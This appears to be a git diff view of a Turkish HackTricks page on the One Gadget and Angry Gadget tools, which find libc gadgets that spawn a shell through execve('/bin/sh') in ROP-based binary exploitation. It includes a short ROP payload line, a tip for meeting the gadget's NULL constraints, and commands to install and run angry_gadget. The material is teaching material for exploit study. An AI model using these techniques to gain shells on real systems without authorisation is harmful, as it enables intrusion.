* 64 bit, PIE olmayan, nx, BF canary, bellekte `execve`'yi çağırmak için bir ROP yaz ve oraya atla.
|
* 64 bit, PIE olmayan, nx, BF canary, bazı belleğe `execve`'yi çağırmak için bir ROP yaz ve oraya atla.
|
||||||
|
|
|
@ -6,18 +6,18 @@
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
|
||||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Temel Bilgiler
|
## Temel Bilgiler
|
||||||
|
|
||||||
[**Tek Gadget**](https://github.com/david942j/one\_gadget), **system** ve **"/bin/sh"** kullanmak yerine kabuk elde etmeyi sağlar. **Tek Gadget**, sadece bir **adres** kullanarak kabuk elde etmek için libc kütüphanesinde bir yol bulacaktır (`execve("/bin/sh")`).\
|
[**Tek Gadget**](https://github.com/david942j/one\_gadget), **system** ve **"/bin/sh"** kullanmak yerine kabuk elde etmeyi sağlar. **Tek Gadget**, sadece bir **adres** kullanarak bir kabuk (`execve("/bin/sh")`) elde etmek için libc kütüphanesinde bir yol bulacaktır.\
|
||||||
Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanlarından ve kolayca kaçınılabilecek olanlarından biri `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, kısıtlamayı önlemek için sadece daha fazla NULL değeri göndermeniz yeterlidir.
|
Ancak genellikle bazı kısıtlamalar vardır, en yaygın olanları ve kolayca kaçınılabilecek olanlar `[rsp+0x30] == NULL` gibi. **RSP** içindeki değerleri kontrol ettiğinizden, kısıtlamayı önlemek için sadece daha fazla NULL değeri göndermeniz yeterlidir.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (751).png>)
|
![](<../../../.gitbook/assets/image (751).png>)
|
||||||
```python
|
```python
|
||||||
|
@ -27,5 +27,28 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
One Gadget tarafından belirtilen adrese, `libc`'in yüklendiği temel adresi **eklemeniz gerekmektedir**.
|
One Gadget tarafından belirtilen adrese, `libc`'in yüklendiği temel adresi **eklemeniz gerekmektedir**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
One Gadget, Arbitrary Write 2 Exec teknikleri için **büyük bir yardımcıdır** ve ROP zincirlerini **basitleştirebilir**, çünkü sadece bir adrese çağrı yapmanız yeterlidir (ve gereksinimleri karşılamanız gerekir).
|
One Gadget, Arbitrary Write 2 Exec teknikleri için **büyük bir yardımcıdır** ve ROP zincirlerini **basitleştirebilir** çünkü sadece bir adrese çağrı yapmanız yeterlidir (ve gereksinimleri karşılamanız gerekir).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
## Kızgın Gadget
|
||||||
|
|
||||||
|
[**github repo**](https://github.com/ChrisTheCoolHut/angry\_gadget)'dan: [OneGadget](https://github.com/david942j/one\_gadget)'dan ilham alan bu araç, python'da yazılmıştır ve `execve('/bin/sh', NULL, NULL)` komutunu çalıştıran gadget'lar için kısıtlamaları test etmek için [angr](https://github.com/angr/angr) kullanır.\
|
||||||
|
OneGadget'tan denemek için gadget'larınız kalmışsa, Kızgın Gadget, denemek için karmaşık kısıtlamalarla çok daha fazlasını sunar!
|
||||||
|
```bash
|
||||||
|
pip install angry_gadget
|
||||||
|
|
||||||
|
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||||
|
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
|
||||||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||||
|
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue